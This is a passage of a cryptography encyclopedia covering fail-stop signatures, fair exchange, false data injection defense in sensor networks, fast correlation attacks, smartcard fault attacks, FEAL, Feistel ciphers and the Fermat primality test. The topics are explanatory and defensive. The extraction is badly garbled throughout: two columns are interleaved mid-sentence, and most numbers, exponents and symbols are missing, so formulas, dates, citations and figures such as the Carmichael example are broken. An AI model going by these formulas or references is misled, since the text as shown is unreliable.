a message, and a corresponding signature and returns a Fail-stop signatures schemes can be equipped with
Boolean result indicating whether the signature is valid additional features: Chaum et al. have proposed undeni-
for the message with respect to the public verifying key. able fail-stop signatures []. Susilo et al. have proposed
If a signer is confronted with a signature that she did threshold fail-stop signatures [].
Fair Exchange F
Applications Related Concepts

In some applications of unconditionally secure message Certified Mail; Contract Signing; Non-Repudiation
authentication codes, fail-stop signatures can be used as
a replacement in order to increase the computational Denition
efficiency (e.g., DC-Networks). An exchange protocol transmits a digital token from
each participant to each other participant in a group. An
Recommended Reading exchange protocol is called fair, if and only if
. Chaum D, van Heijst E, Pfitzmann B () Crypto-
graphically strong undeniable signatures, unconditionally . The protocol either ensures that all honest partici-
secure for the signer. In: Feigenbaum J (ed) Advances in pants receive all items as expected or releases no useful
cryptology CRYPTO. Lecture notes in computer science, information about any item of any honest party.
vol . Springer, Berlin, pp . The protocol terminates after a fixed time.
. Goldwasser S, Micali S, Rivest RL () A digital signature
scheme secure against adaptive chosen-message attacks. SIAM J
Comput (): Background F
. Pedersen TP, Pfitzmann B () Fail-stop signatures. SIAM J Fair exchange was introduced as fair exchange of secrets
Comput (): [] and later generalized to fair exchange of a wider range
. Pfitzmann B () Fail-stop signatures; principles and appli-
of digital items [].
cations. In: Proceedings COMPSEC, th world conference
on computer security, audit and control. Elsevier, Oxford,
pp Theory
. Pfitzmann B () Sorting out signature schemes. st ACM In the two-party case, fairness means that an honest party
conference on computer and communications security, Fairfax,
releases its item if it receives the expected item from the
November . ACM Press, New York, pp
. Pfitzmann B () Digital signature schemes general frame- peer. Otherwise, no additional information is released. A
work and fail-stop signatures. In: Pfitzmann B (ed) Lecture practical example is Ebays escrow service that works as
notes in computer science, vol . Springer, Berlin follows: the buyer deposits a payment at Ebay, the seller
. Susilo W, Safavi-Naini R, Pieprzyk J () RSA-based sends the item to the buyer, and if the buyer approves,
fail-stop signature schemes. International workshop on
Ebay forwards the payment to the seller. Note that the
security (IWSEC). IEEE Computer Society, Los Alamitos,
CA, pp exact formalization of fixed time depends on the network
. Susilo W, Safavi-Naini R, Pieprzyk J () Fail-stop thresh- model: in synchronous networks with a global notion of
old signature schemes based on elliptic curves. In: Pieprzyk J, rounds this is formalized by fixed number of rounds. In
Safari-Naini R, Seberry J (eds) Information security and privacy. asynchronous networks without global time, a maximum
logical time [] is used.
pp
. Susilo W, Safavi-Naini R, Gysin M, Seberry J () A new and Early research focused on two-party protocols (multi-
efficient fail-stop signature scheme. Comput J (): party protocols) solving particular instances of fair
. van Heijst E, Pedersen TP () How to make efficient fail- exchange such as contract signing [] and [] or
stop signatures. In: Rueppel RA (ed) Advances in cryptology certified mail []. However, these protocols are either
unfair with a probability that is linear in the number of
. van Heijst E, Pedersen TP, Pfitzmann B () New construc- rounds (e.g., / for rounds) or cannot guarantee ter-
tions of fail-stop signatures and lower bounds. In: Brickell EF mination in a fixed time [].
(ed) Advances in cryptology CRYPTO. Lecture notes in Fairness with a negligible error probability within
computer science, vol . Springer, Berlin, pp a limited time can only be guaranteed by involving a
Trusted Third Party (TTP) or by assuming a trusted
majority. A TTP ensures that the outcome is fair even if
one party cheats. The TTP solves the fundamental problem
Fair Exchange that a party sending the complete item while not having
received a complete item is always at disadvantage. Third
Matthias Schunter parties can either be on-line, i.e., involved in each proto-
IBM Research-Zurich, Rschlikon, Switzerland col run or optimistic, i.e., involved only if an exception
occurs.
Generic fair exchange protocols [] can exchange many
Synonyms types of items. Examples are data (described by a publicly
Barter; Escrow service; Simultaneous transactions known property), receipts, signatures on well-known data,
F False Data Filtering
Party A TTP Party B
itemA, descB itemB, descA

abort if not
verifyX (descX, itemX)
for X {A, B}
itemB itemA
Fair Exchange. Fig. A generic fair exchange protocol with on-line trusted third party
or payments. Besides generic protocols, there exist a vari- . Blum M, Vazirani UV, Vazirani VV () Reducibility among
ety of protocols that optimize or extend exchanges of par- protocols (extended abstract). Advances in cryptology
CRYPTO. Plenum, New York, pp
ticular items: payment for receipt, payment for data (fair
. Even S () A protocol for signing contracts. ACM SIGACT
purchase), data for receipt (certified mail), or signature News ():
for signature (contract signing). . Even S, Yacobi Y () Relations among public key signature sys-
A nonoptimistic generic fair exchange protocol simi- tems. Technical report Nr. , Computer Science Department,
lar to the contract signing protocol in [] is depicted in Technion, Haifa, Israel
. Garay JA, Jakobsson M, MacKenzie P () Abuse-free opti-
Fig. : each party, say A, sends its item itemA and a descrip-
mistic contract signing. In: Wiener J (ed) Advances in cryptol-
tion descB of the item expected in return to the TTP. The ogy CRYPTO. Lecture notes in computer science, vol .
TTP exchanges the items if the expectations are met. This Springer, Berlin, pp
is determined by a function verify() that verifies that an . Lynch NA () Distributed algorithms. Morgan Kaufmann, San
item matches its description. Otherwise, the exchange is Francisco
. Rabin MO () Transaction protection by beacons. Aiken Com-
aborted and no additional information about the items
putation Laboratory, Harvard University, Cambridge, MA. Tech-
is released. Fair exchange protocols can be further clas- nical report TR--
sified by the number of participants, the network model . Rabin M () Transaction protection by beacons. J Comput Syst
they assume, the properties of the items they produce, and Sci :
whether they are abuse-free or not. In synchronous net-
works, there exists a global notion of rounds that limits the
time needed to transmit messages between correct parties.
In asynchronous networks, messages between honest par- False Data Filtering
ticipants are guaranteed to be delivered eventually; but the
transmission time is unbounded. Besides these two well- False Data Injection Defense
known network models, some protocols assume special
network models that assume trusted hosts such as reliable
messaging boards or reliable file-transfer servers. Abuse-
free protocols [] provide the additional guarantee that if a False Data Injection Defense
failed protocol runs it never produces any evidence. This is
of some importance for contract signing where a dishon- Wensheng Zhang
est party may gain an advantage by being able to prove that Department of Computer Science, College of Liberal Arts
a particular honest party was willing to sign a particular and Sciences Iowa State University, Ames, IA, USA
contract.
Synonyms
Recommended Reading False data filtering
. Asokan N, Schunter M, Waidner M () Optimistic protocols
for fair exchange. th ACM conference on computer and com- Denition
munications security, Zrich, April . ACM Press, New York,
False data injection refers to techniques that can detect
pp
. Blum M () Three applications of the oblivious transfer, ver-
and filter out false data injected by the adversary to wire-
sion . Department of Electrical Engineering and Computer less networks so as to save the bandwidth and energy that
Sciences, University of California at Berkeley, Berkeley would be consumed to transmit such data.
False Data Injection Defense F
Background to the report. The MAC generated by each node uses the
In a sensor network, sensor nodes need to report sen- pairwise key shares between the node and its associated
sory data to a sink through multihop forwarding. Due to node that is t + hops away toward the sink. When the
the open nature of wireless communication, the adversary endorsed message is forwarded, each forwarding node ver-
can easily inject false data or modify data forwarded in ifies the MAC generated by its upstream associated node.
the network. Public key cryptographic signatures could If verification succeeds, it replaces the MAC with a new one
be used to authenticate each data message so as data for- using its pairwise key shared with its downstream associ-
warders and receivers are able to detect false or modi- ated node. Since the pairwise key shared by each pair of
fied data. However, performing public key cryptographic associated nodes is distinct, this scheme can tolerate up to
operations at every data forwarder, which is typically t compromised nodes in each cluster or consecutive nodes
a resource-constrained node, may significantly increase on a path, instead of over the whole network. However,
data forwarding delay and energy consumption. Hence, if the network topology changes, the association between
more efficient solutions are needed to defend against the nodes need to be updated accordingly.
attacks. To defend against false data injection in broadcast,
F
authentication scheme TESLA [] can be applied under
Theory and Application the condition that sensor nodes are time synchronization
A number of symmetric cryptography-based schemes have and nodes share a commitment with the broadcasting
been proposed to address the false data injection prob- node. Schemes based on public key and probabilistic ver-
lem. Ye et al. [] proposed a statistical en-route filtering ification [] have also been proposed to filter false data
(SEF) scheme. With this scheme, the network is associated injection in broadcast.
with a global key pool, which consists of n partitions. Each Identifying and removing moles which inject false
partition contains m different keys. Each sensor node ran- data is more desirable than passively filtering false data
domly picks k secret keys from one of the n partitions. injection. Ye et al. [] proposed probabilistic nested mark-
When a node detects some event and wants to report, it ing (PNM) scheme to locate moles. The design is based
generates a message authentication code (MAC) using one on the following basic nested marking idea: Each for-
of its k keys to authenticate its report. The report is fur- warding node Vi appends to the packet its ID i and a
ther endorsed by T nodes in the same cluster of the MAC computed with its secret key ki known only to the
detecting node, and each of the T nodes has keys from sink. This way, each forwarding node indicates its pres-
a distinct partition. If a false data message is injected to ence on the route and shows to the sink what it has
the network, or an endorsed data message is altered when received. As the appended information is nested, any tam-
being forwarded in the network, each forwarding node has pering with the packet by a malicious forwarding node will
k
the probability of nm to detect it. The SEF scheme is inde- make the MAC invalid to the sink, and where the tamper-
pendent of the topology changes in the sensor network. ing takes place can also be traced out. The PNM scheme
However, T is a security threshold. In the worst case, the extends the above idea by allowing each forwarding node
SEF scheme can tolerate only T compromised nodes to mark the packet with only a small probability, while the
in the network. Follow-up research has been conducted moles can still be located by the sink. The PNM scheme,
to improve the resilience to node compromise. Among however, does not allow forwarding nodes to identify
such efforts, Zhang and Cao [] proposed localized key and filter false data injection. This can be addressed with
updating schemes to periodically update the keys that are the packet dropper and modifier catching scheme pro-
used in endorsing reports, and Yang et al. [] proposed posed by Wang et al. [], where false data injection can
to bind keys with locations to mitigate the effect of node be filtered by forwarding nodes, and malicious nodes
compromise. who modify packets can be identified as nodes who drop
Zhu et al. [] proposed an interleaved hop-by-hop packets.
scheme. In this scheme, each sensor node is in a cluster
of at least t + members and the cluster has a path toward Open Problems
the sink. Along the path, two nodes that are t + hops away More efficient and scalable approaches to filter data injec-
are associated by establishing a unique pairwise key. When tion in broadcast is demanded. The existing schemes [, ]
a sensor node detects some event and wants to report, either requires time synchronization or relies on public
the detecting node itself and t other nodes of its cluster key cryptographic operations, which lack scalability or
endorse the report by generating and attaching t + MACs efficiency.
F Fast Correlation Attack
Recommended Reading they are significantly faster. They rely on the same principle
. Perrig A, Szewczyk R, Tygar J, Wen V, Culler D () Spins: as the correlation attack: they exploit the existence of a cor-
security protocols for sensor networks. Proceedings of the relation between the keystream and the output of a single
annual international conference on mobile computing and net-
LFSR, called the target LFSR, whose initial state depends
working (MobiCom), pp
. Wang C, Feng T, Kim J, Wang G, Zhang W () Catching
on some bits of the secret key. In the original correlation
packet droppers and modifiers in wireless sensor networks. attack, the initial state of the target LFSR is recovered by
Proceedings of IEEE SECON an exhaustive search. Fast correlation attacks avoid exam-
. Wang R, Du W, Ning P () Containing denial-of-service ining all possible initializations of the target LFSR by using
attacks in broadcast authentication in sensor networks. Pro-
some efficient error-correcting techniques. But, they
ceedings of ACM symposium on mobile ad hoc networking and
computing (MobiHoc), pp
require the knowledge of a longer segment of the
. Yang H, Lu S () Commutative cipher based en-route filter- keystream (in the context of a known-plaintext attack). As
ing in wireless sensor networks. Proceedings of IEEE vehicular for the correlation attack, similar algorithms can be used
technology conference, pp for mounting a ciphertext only attack when there exists
. Yang H, Ye F, Yuan Y, Lu S, Arbaugh W () Towards
redundancy in the plaintext.
resilient security in wireless sensor networks. Proceedings of
ACM symposium on mobile ad hoc networking and computing
(MobiHoc), pp Theory
. Ye F, Luo H, Lu S, Zhang L () Statistical en-route filter-
ing of injected false data in sensor networks. Proceedings of
Fast correlation attacks as a decoding problem. The key
IEEE conference on computer communications (INFOCOM), idea of fast correlation attacks consists in viewing the cor-
pp relation attack as a decoding problem. If there exists a
. Ye F, Yang H, Liu Z () Catching moles in sensor networks. correlation between the keystream s and the output u of
Proceedings of the international conference on distributed com- the target LFSR, then the running-key subsequence (st)t<N
puting systems (ICDCS), pp
. Yu Z, Guan Y () A dynamic en-route scheme for fil-
can be seen as the result of the transmission of (ut )t<N
tering false data injection in wireless sensor networks. Pro- through the binary symmetric channel with error proba-
ceedings of IEEE conference on computer communications bility p = Pr[st ut ] < / (see Fig. ). If Pr[st ut ] > /,
(INFOCOM) the bitwise complement of s is considered. Moreover, all
. Zhang W, Cao G () Group rekeying for filtering false data bits of the LFSR sequence u depend linearly on the LFSR
in sensor networks: a predistribution and local collaboration
based approach. Proceedings of IEEE conference on computer
initial state, u . . . uL . Therefore, (ut )t<N is a codeword
communications (INFOCOM), pp of a linear code of length N and dimension L defined
. Zhu S, Setia S, Jajodia S, Ning P () An interleaved hop- by the LFSR feedback polynomial. Thus, recovering the
by-hop authentication scheme for filtering false data in sensor LFSR initial state consists in decoding the running-key
networks. Proceedings of IEEE symposium on security and subsequence relatively to the LFSR code.
privacy, pp
With this formulation, the original correlation attack
proposed by Siegenthaler consists in applying a maximum-
likelihood decoding algorithm to the linear code defined
by the LFSR feedback polynomial. It then requires testing
Fast Correlation Attack the L possible initial states of the target LFSR. The com-
plexity can be reduced by using faster decoding algorithms.
Anne Canteaut But, they usually require a larger number of running-
Project-Team SECRET, INRIA Paris-Rocquencourt, key bits.
Le Chesnay, France Decoding techniques for fast correlation attacks. Several
algorithms can be used for decoding the LFSR code, based
on the following ideas:
Related Concepts
Combination Generator; Correlation Attack; Filter Find many sparse linear recurrence relations satisfied
Generator; Stream Cipher by the LFSR sequence (these relations correspond
to sparse multiples of the feedback polynomial),
Denition and use them in an iterative decoding procedure
Fast correlation attacks were first proposed by Meier and dedicated to low-density parity-check codes [, ,
Staffelbach in [, ]. They apply to running-key ]. The complexity of this attack may significantly
generators based on linear feedback shift registers (LFSRs), decrease when the feedback polynomial of the tar-
exactly in the same context as the correlation attack, but get LFSR is sparse. Thus, the use of sparse LFSR
Fast Correlation Attack F
Binary symmetric channel
1p
L 0 0 Running-key
u p
Target LFSR s
p
1 1
P(X ) 1p
Fast Correlation Attack. Fig. Model for fast correlation attacks on LFSR-based stream ciphers
feedback polynomials should be avoided in LFSR- Fast correlation attacks on filter generators. In the case of
based running-key generators. a filter generator, the target LFSR has the same feedback
Construct a convolutional code [] (or a turbo code polynomial as the constituent LFSR, but a different initial F
[]) from the LFSR code, and use an appropriate decod- state. Actually, if the keystream is given by
ing algorithm for this new code (Viterbi algorithm or
turbo-decoding). st = f (vt+ , vt+ , . . . , vt+ n ),
Construct a new linear block code with a lower dimen- where v is the sequence generated by the constituent LFSR.
sion from the LFSR code and apply to this smaller The optimal target sequence u then corresponds to
linear code a maximum-likelihood decoding algo-
n
rithm [, ], or a polynomial reconstruction tech-
ut = i vt+ i
nique []. i=
A survey on all these techniques and their computational where = ( , . . . , n ) is the vector which maximizes the
complexities can be found in []. In practice, the most effi- magnitude of the Walsh transform of the filtering func-
cient fast correlation attacks enable to recover the initial tion. Thus, the keystream corresponds to the received word
state of a target LFSR of length for an error-probability as output of the binary symmetric channel with error-
p = . in a few hours on a PC from the knowledge of probability
running-key bits.
N L( f )
p = Pr[st ut ] = ,
Applications n
Fast correlation attacks on combination generators. In the where N L( f ) is the nonlinearity of the filtering func-
particular case of a combination generator, the target tion. The fast correlation attacks on filter generators can be
sequence u is the sequence obtained by adding the outputs improved by using several target LFSRs together [, ].
of (m + ) constituent LFSRs, where m is the correlation- Other particular fast correlation attacks apply to fil-
immunity order of the combining function (correlation ter generators, like conditional block-oriented correlation
attack). Thus, this sequence u corresponds to the output attacks [, , ] (filter generator).
of a unique LFSR whose feedback polynomial is the great-
est common divisor of the feedback polynomials of the Recommended Reading
(m + ) involved LFSRs. Since the feedback polynomials . Anderson RJ () Searching for the optimum correlation
are usually chosen to be primitive, the length of the target attack. In: Fast software encryption . Lecture notes in com-
LFSR is the sum of the lengths of the (m + ) LFSRs. The puter science, vol . Springer, pp
keystream corresponds to the received word as output of . Canteaut A, Filiol E (May ) On the influence of the filter-
ing function on the performance of fast correlation attacks on
the binary symmetric channel with error-probability
filter generators. In: Symposium on information theory in the
Benelux, Louvain la Neuve, Belgium
p = Pr[st ut ] = f(t), . Canteaut A, Trabbia M ()Improved fast correlation attacks
n+ using parity-check equations of weight and . In: Advances
where n is the number of variables of the combining func- in cryptology EUROCRYPT . Lecture notes in computer
science, vol . Springer, pp
tion, t is the n-bit vector whose ith component equals
. Chepyshov V, Johansson T, Smeets B () A simple algorithm
if and only if i {i , i , . . . , im+ } and f denotes the for fast correlation attacks on stream ciphers. In: Fast software
Walsh transform of f (correlation attack and Boolean encryption . Lecture notes in computer science, vol .
functions). Springer, pp
F Fault Attack
. Golic JDj () On the security of nonlinear filter generators.

In: Fast software encryption . Lecture notes in computer
. Johansson T, Jnsson F () Improved fast correlation attack
1st step: Physical
on stream ciphers via convolutional codes. In: Advances in
cryptology EUROCRYPT . Lecture notes in computer Fault Injection
Perturbation
. Johansson T, Jnsson F () Fast correlation attacks based on
turbo code techniques. In: Advances in cryptology CRYPTO
. Lecture notes in computer science, vol . Springer,
pp
. Johansson T, Jnsson F () Fast correlation attacks
through reconstruction of linear polynomials. In Advances in 2nd step: Erronous result
Cryptology CRYPTO . Lecture notes in computer science, Fault exploitation or
vol . Springer, pp unexpected behavior
. Jnsson F, Johansson T () A fast correlation attack on LILI-
. Inf Process Lett ():
. Jnsson F () Some results on fast correlation attacks. PhD
thesis, University of Lund, Sweden, Fault Attack. Fig. Fault attack process
. Joux A () Algorithmic cryptanalysis. Chapman &
Hall/CRC, Boca Raton
. Lee S, Chee S, Park S, Park S () Conditional correla-
tion attack on nonlinear filter generators. In: Advances in injection is very dependent on the hardware and there-
cryptology ASIACRYPT . Lecture notes in computer sci- fore the ICC. The second step consists in exploiting the
ence, vol . Springer, pp erroneous result or unexpected behavior. Fault exploita-
. Mihaljevic MJ, Fossorier MPC, Imai H () A low-complexity
tion depends on the software design and implementation.
and high performance algorithm for the fast correlation attack.
In: Fast software encryption . Lecture notes in computer In the case of an algorithm, it will also depend on its
science, vol . Springer, pp specification since the fault exploitation will be combined
. Meier W, Staffelbach O () Fast correlation attacks on stream with cryptanalysis most of the time. Depending on the
ciphers. In: Advances in cryptology EUROCRYPT . Lec- type of analysis performed, the fault injection will have to
ture notes in computer science, vol . Springer, pp
be done at a precise instant or roughly in a given period
. Meier W, Staffelbach O () Fast correlation attack on certain
stream ciphers. J Cryptol : of time.
Fault injection
There are many ways to generate a fault in an ICC. Already,
Fault Attack three major means of fault injection can be distinguished:
Electrical perturbation on the standard ISO contact of
Olivier Benot the smartcard
Ingenico, Rgion de Saint-tienne, France Vcc glitch (see below)
Clock duty cycle and/or frequency alteration
Denition Light-beam perturbation (contact-less)
A fault attack is an attack on a physicial electronic device
(e.g., smartcard, HSM, USB token) which consists in stress- Global light-beam (wide spectrum)
ing the device by an external mean (e.g., voltage, light) in Focused light-beam (wide spectrum)
order to generates errors in such a way that these errors Laser-beam (single wavelength)
leads to a security failure of the system (key recovery,
Electromagnetic field perturbation (contact-less)
ePurse balance increase, false signature acceptation, PIN The effectiveness of each fault injection method
code recovery).
strongly depends on the hardware design, manufacturing
process, and technology. The chip behavior under a fault
Introduction injection can be of four types:
A successful fault attack on an Integrated Circuit Card
(ICC) or smartcard requires two steps: fault injection and No effect
the fault exploitation Fig. . The first step consists in inject- Wrong results or unexpected behavior (exploitable
ing a fault at the appropriate time during the process. Fault fault)
Fault Attack F
No response from the card (hardware reset required) on the fault effect, the fault localization in time, and the
Card is dead (physically damaged) target of the attack. Two major types of target can be
distinguished for a fault attack:
Of course, only one out of the four listed behaviors might
be exploitable. Moreover, the perturbation can have a tran- The operating system and application-sensitive process
sient effect, permanent effect, or an intermediary state in The cryptographic algorithm
between:
A sensitive process is defined as a piece of code process-
Transient effect (only during fault injection) ing data that is known to the external world but should
Semipermanent effect (for a variable period of time not be modified. The fault injection will precisely modify
from a few minutes to a few days) such data. By definition, if the data should not be modi-
Permanent effect fied, it means that modifying it will compromise the system
security to some extent.
In practice, transient faults are easier to exploit as will be
Differential fault analysis (DFA) mainly consists in
seen in the fault exploitation section.
analyzing an algorithm result (ciphertext) under reg-
F
The main difficulty of the fault injection step is to find
ular condition and under abnormal condition for the
the appropriate parameters of the perturbation for the ICC
same input (plaintext). The abnormal condition is usually
in consideration. Inappropriate parameters will not lead to
obtained by fault injection during the process (transient
an exploitable fault such as a wrong result or an unexpected
fault) or before the process (permanent fault). Differential
behavior. Therefore, there is a risk to irremediably kill the
fault analysis has been widely studied from a theoretical
chip. Besides, if the hardware implements some security
point of view. In September , three researchers from
sensors and/or protection mechanism, it will be even more
Bellcore identified a new attack against plain RSA (RSA
difficult to inject an exploitable fault without triggering a
Digital Signature Scheme), [], when performed with the
security mechanism.
Chinese Remainder Theorem. This attack was reported
A Vcc glitch is defined by many parameters among
in a Bellcore press release entitled New Threat Model Breaks
which are its shape, the falling and rising slope, the low and
Crypto Codes, but no technical details were provided. Later,
high level, and the low-level duration. Very good results
another researcher wrote a short memo that seemed to
have been obtained on some IC with a limited control over
describe a more realistic attack. In the case of a computa-
these parameters. In fact, the three main parameters that
tion error, the Bellcore researchers showed how to recover
needed to be tuned are the low- and high-voltage values
the secret factors p and q of the public RSA modulus n
and the glitch duration. Besides, the combination of all
from two signatures of the same message: a correct one and
parameters quickly gives a huge search space and there-
a faulty one. Lenstra remarked that only the faulty signa-
fore it is not practical to have too many parameters to
ture was required. At the same time, Joye and Quisquater
play with.
noted that Lenstras observation could actually be applied
A white light perturbation can be very effective on
to all RSA-type cryptosystems, including variants based
some ICC. The hardware required for such an attack can be
on Lucas sequences (LUC) and elliptic curves (KMOV,
easy to set up by using a photo camera bulk and the asso-
Demytko) [].
ciated electronic. Then, the major parameters to be tuned
In conclusion, a fault attack is a threat for any secure
are the light emission intensity, the light emission dura-
token (whatever the form factor) and must be taken
tion and, eventually, the selection of a specific area of the
into consideration at all steps of the product design and
chip to be exposed (focused light attack) rather than the
specification. Countermeasures and protection can be
complete die.
designed both in hardware and in software to thwart such
Using a laser such as a pulsed Nd:YAG laser is even
attacks.
more powerful because the energy level, the wavelength,
the beam duration, and the beam size are much more
under control. It is important to control the energy level in
Recommended Reading
. Boneh D, DeMillo RA, Lipton RJ () On the impor-
order to avoid destruction of the chip (too much energy)
tance of checking cryptographic protocols for faults. In:
or an ineffective beam (not enough energy). Fumy W (ed) Advances in cryptology eurocrypt. Lec-
pp
Fault Exploitation . Joye M, Lenstra AK, Quisquater J-J () Chinese remainder-
Fault exploitation is the mandatory second step of a suc- ing cryptosystems in the presence of faults. J Cryptol ():
cessful fault attack. The fault exploitation directly depends
F FEAL
b
FEAL b0 b1 (16 bits)
Christophe De Cannire S0
a0
S1
f(,) a1 a
Related Concepts (32 bits) (32 bits)
Block Ciphers; Differential Cryptanalysis; Feistel S0
a2
Cipher; Linear Cryptanalysis for Block Ciphers X1 a i,b i
X2 : 8 bits
The Fast Data Encipherment Algorithm (FEAL) [] is S1
a family of block ciphers developed by Shimizu and Y a3
Miyaguchi. Since the introduction of its first version FEAL. Fig. FEALs f -function
(FEAL-, presented in ), the block cipher has stimu-
lated the development of some of the most useful cryptan-
alytical techniques available today.
required only chosen plaintexts and at that time recov-
FEAL was designed to be a more efficient alternative
ered the key in less than h. At the Securicom confer-
to the Data Encryption Standard (DES), in particular in
ence in , Biham and Shamir demonstrated a chosen
software. The block cipher encrypts data in blocks of bits
plaintext attack on FEAL-, the eight-round version of the
and uses a -bit key. It is a Feistel cipher, just as DES,
cipher. The attack, which would turn out to be a direct
but the components have been modified in order to be
application of differential cryptanalysis, is mentioned in
more suitable for word-oriented processors. The complete
different papers [, , ], but its details were only published
cipher can be implemented using only additions modulo
in []. In , Gilbert and Chass [] proposed a sta-
, rotations over bits, and XORs. The -bit f -function
tistical chosen plaintext attack on FEAL-. A year later,
(see Fig. ) used in the Feistel network takes a -bit subkey
Tardy-Corfdir and Gilbert [] presented a known plaintext
as a parameter and mixes it with the data using the func-
attack on FEAL- and FEAL-. The first attack had many
tions S and S . Both functions take two bytes as input and
ideas in common with differential cryptanalysis, which was
return a single output byte. They are defined as:
being developed around the same time; the second attack
Si (x, y) = [x + y + i(mod )] , i {, }. contained elements which would later be used in linear
cryptanalysis. In , a first variant of this linear crypt-
Another structural difference with DES is the additional analysis was introduced by Matsui and Yamagishi []. The
layers inserted before the first and after the last round of new attack could recover FEAL- keys in minutes using
FEAL. In these layers, an extra -bit subkey is mixed with only five known plaintexts. In , Biham and Shamir
the data and the left half of the data is XORed with the [] developed a more efficient differential attack against
right half. FEAL- deriving the secret key in min on a PC given
While most of its components are far simpler, FEAL chosen plaintexts.
has a more complex key schedule (Block Cipher) than The development of these new techniques forced the
DES. The secret key is expanded in a Feistel-like lad- designers of FEAL to considerably increase the number of
der network using a nonlinear fk -function similar to the rounds, sacrificing its original efficiency.
f -function mentioned above.
FEAL has been studied by many researchers, and var- Recommended Reading
ious interesting techniques were developed to analyze its . Biham E, Shamir A () Differential cryptanalysis of DES-like
security. The next paragraph gives a short overview of the cryptosystems. In: Menezes A, Vanstone SA (eds) Advances in
most important developments. cryptology CRYPTO. Lecture notes in computer science,
The first vulnerabilities in the original four-round ver-
. Biham E, Shamir A () Differential cryptanalysis of Feal and
sion, FEAL-, were discovered by den Boer [] in . N-hash. In: Davies DW (ed) Advances in cryptology EURO-
He developed an adaptively chosen plaintext attack which CRYPT. Lecture notes in computer science, vol . Springer,
was later improved by Murphy []. The improved attack Berlin, pp
Fermat Primality Test F
. Biham E, Shamir A () Differential cryptanalysis of the data very comfortable similarity of encryption and decryption
encryption standard. Springer, Berlin processes.
. den Boer B () Cryptanalysis of FEAL. In: Gnther CG (ed)
Advances in cryptology EUROCRYPT. Lecture notes in
computer science, vol . Springer, Berlin, pp Theory
. Gilbert H, Chass G () A statistical attack of the FEAL- Given an n-bit block, a Feistel round function divides it
cryptosystem. In: Menezes A, Vanstone SA (eds) Advances in into two halves L (left) and R (right). Then some function
cryptology CRYPTO. Lecture notes in computer science, F(R, k) is applied to the right half and the result is XORed
with the left half (this is the first involution):
. Matsui M, Yamagishi A () A new method for known plain-
text attack of FEAL cipher. In: Rueppel RA (ed) Advances (L, R) (R, L F (R, k)) .
in cryptology EUROCRYPT. Lecture notes in computer
science, vol . Springer, Berlin, pp Here k is the round subkey produced by the key
. Miyaguchi S () The FEAL- cryptosystem and a call
scheduling algorithm; it may vary from round to round.
for attack. In: Brassard G (ed) Advances in cryptology
CRYPTO. Lecture notes in computer science, vol . Then the halves are swapped (the second involution) and F
Springer, Berlin, pp the process is repeated. Another convenience in this con-
. Murphy S () The cryptanalysis of FEAL- with chosen struction is that it is always a permutation, and thus is
plaintexts. J Cryptol (): invertible no matter what function F is used and thus a
. Shimizu A, Miyaguchi S () Fast data encipherment algo-
designer may now concentrate on the security properties of
rithm FEAL. In: Chaum D, Price WL (eds) Advances in cryp-
tology EUROCRYPT. Lecture notes in computer science, this function. Many modern ciphers are designed as Feistel
vol . Springer, Berlin, pp ciphers. One prominent example of a Feistel cipher is the
. Tardy-Corfdir A, Gilbert H () A known plaintext attack of Data Encryption Standard.
FEAL- and FEAL-. In: Feigenbaum J (ed) Advances in cryp- Note that the division into halves in a Feistel cipher
tology CRYPTO. Lecture notes in computer science, vol .
can be replaced by division into quarters, octets, etc. Such
ciphers are called generalized Feistel ciphers. Several ciphers
are of this type, for example the CAST family of ciphers
or the cipher Skipjack.
FeigeFiatShamir Signature
Scheme
Fermat Primality Test
FiatShamir Identification Protocol and the
FeigeFiatShamir Signature Scheme Moses Liskov
Department of Computer Science, The College of William
and Mary, Williamsburg, VA, USA
Feistel Cipher
Synonyms
Alex Biryukov Fermat test
Luxembourg Related Concepts
MillerRabin Probabilistic Primality Test; Modular
Related Concepts Arithmetic; Primality Test; Prime Number
Block Ciphers
Denition
Denition The Fermat primality test is a test to determine if a number
One popular class of the modern iterative blockciphers is is a prime number, using Fermats little theorem.
the Feistel ciphers (named so after Horst Feistel cryptan-
alyst who worked with the IBM crypto group in the early Background
s). The round of a Feistel cipher uses the product of Fermat was not concerned with efficient algorithms for
two involutions (a function G is called an involution if it testing primality, but Fermats little theorem (which states
is its own inverse: G(G(x)) = x) in order to achieve the that ap mod p whenever p is prime and a is relatively
F Fermat Test
prime to p) gives a necessary condition for primality, thus

the name. Fermats Little Theorem
Moses Liskov
Theory Department of Computer Science, The College of William
Fermats little theorem is not true for composite num-
and Mary, Williamsburg, VA, USA
bers in general, so it is an excellent tool to use to test
for the compositeness of a number. The test consists of
checking whether an mod n is satisfied for some Related Concepts
a relatively prime to n. If not, it is certain that n is not Eulers Totient Function; Fermat Primality Test;
prime. Modular Arithmetic; Number Theory; Prime
Unfortunately, if an mod n does hold, it may be Number
that n is composite. When this happens, n is said to be a
pseudoprime for the base a. By picking many random Denition
a, some false positives can be avoided. The procedure is as Fermats little theorem states that if p is a prime number
follows, on input n: and a is any number not divisible by p, then ap mod p.
. For i = to s do:
Background
(a) Pick a random a such that a n and Pierre de Fermat () was one of the most
gcd(a, n) = renowned mathematicians in history. He focused much of
(b) If an / mod n, return COMPOSITE his work on Number Theory, though he made great con-
. Return PRIME tributions to many other areas of mathematics. Fermats
famous last theorem was a remark Fermat made in a mar-
Here, s is a parameter. The running time of the Fermat gin of a book, for which he claimed to have a proof but the
primality test is (s) modular exponentiations. For most margin was too small to write it down, and remained an
composite numbers, the chance of passing these s rounds open problem for over three centuries.
with different values for a without being detected as com- Fermats little theorem was first stated in a letter
posite is /s . However, there are some composite numbers, to Frnicle de Bessy in , though it was not called
called Carmichael numbers, which pass the Fermat test for Fermats little theorem until the twentieth century.
every base a and the smallest is = . Since
is a multiple of , , and , it holds that
Theory
a mod for all a relatively prime to , so in par-
The proof follows easily from the following observations.
ticular, a = (a ) is always congruent to modulo .
Consider the product (a)(a)(a) . . . ((p )a), then on
Carmichael numbers are relatively rare; asymptotically, if
the one hand we can write this as (p )!ap . On the other
C(n) is the number of Carmichael numbers less than n,
ln ln ln n hand, the list of terms in the product, modulo p, is a com-
then n/ < C(n) < n ln ln n . plete list of values between and p, since no two terms in
Because of these exceptions, the Fermat primality test the list are equivalent modulo p: if na = ma mod p where
is usually discarded in favor of a more robust test such as n > m then p divides n m but < n m < p , which is
the MillerRabin probabilistic primality test. However, a contradiction. Thus, this product can also be written as
PGP uses the Fermat primality test. (p )! mod p. Thus, (p )!ap (p )! mod p, and
ap mod p, because (p )! is not divisible by p.
Recommended Reading Euler generalized Fermats little theorem, which applies
